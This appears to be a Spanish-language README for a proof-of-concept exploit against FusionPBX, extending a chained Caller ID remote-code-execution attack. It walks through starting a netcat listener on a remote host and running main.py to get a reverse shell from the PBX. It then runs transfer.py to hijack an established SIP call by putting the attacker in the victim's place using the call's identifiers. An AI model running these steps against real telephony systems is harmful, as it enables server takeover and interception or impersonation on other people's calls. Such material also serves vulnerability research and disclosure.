Preludio

Este simple código intenta completar la implementación de la vulnerabilidad encadenada presentada por Dustin Cobb en RCE mediante Caller ID – Múltiples vulnerabilidades en FusionPBX.

RCE

Pasos de reproducción

1. Abra la pantalla vulnerable del operador en un navegador web, ubicada en este ejemplo en https://{fusionpbx_address}/app/operator_panel/index.php
2. Inicie un listener de netcat en un sistema remoto (rce_listener_address).x`
3. Ejecute el código de exploit a continuación en el sistema remoto, en otra ventana de terminal python3 .\main.py --close_rce_sockets False --attacker_address {attacker_address} --fusion_pbx_address {fusion_pbx_address} --rce_listener_address {rce_listener_address}
4. El exploit se conectará al listener de netcat y proporcionará una shell inversa

Reemplazar una llamada

Una vez que conocemos el Call-ID, el from-tag y el to-tag de una llamada, ejecutar el siguiente código te colocará a ti en lugar de la víctima en la llamada.

Pasos de reproducción

1. Primero inicie una llamada entre dos SIP UA.
2. Después de que la llamada esté establecida, debemos construir dialog_identifier concatenando {Call-ID}{semicolon}"to-teg:"{to-tag}"from-tag"{from-tag}.
3. Ejecute el código de secuestro a continuación en el sistema remoto y reemplace su número con el número de la víctima. python3 .\transfer.py --attacker_address {attacker_address} --fusion_pbx_address {fusion_pbx_address} --victim_number {victim_number} --dialog_identifier {dialog_identifier}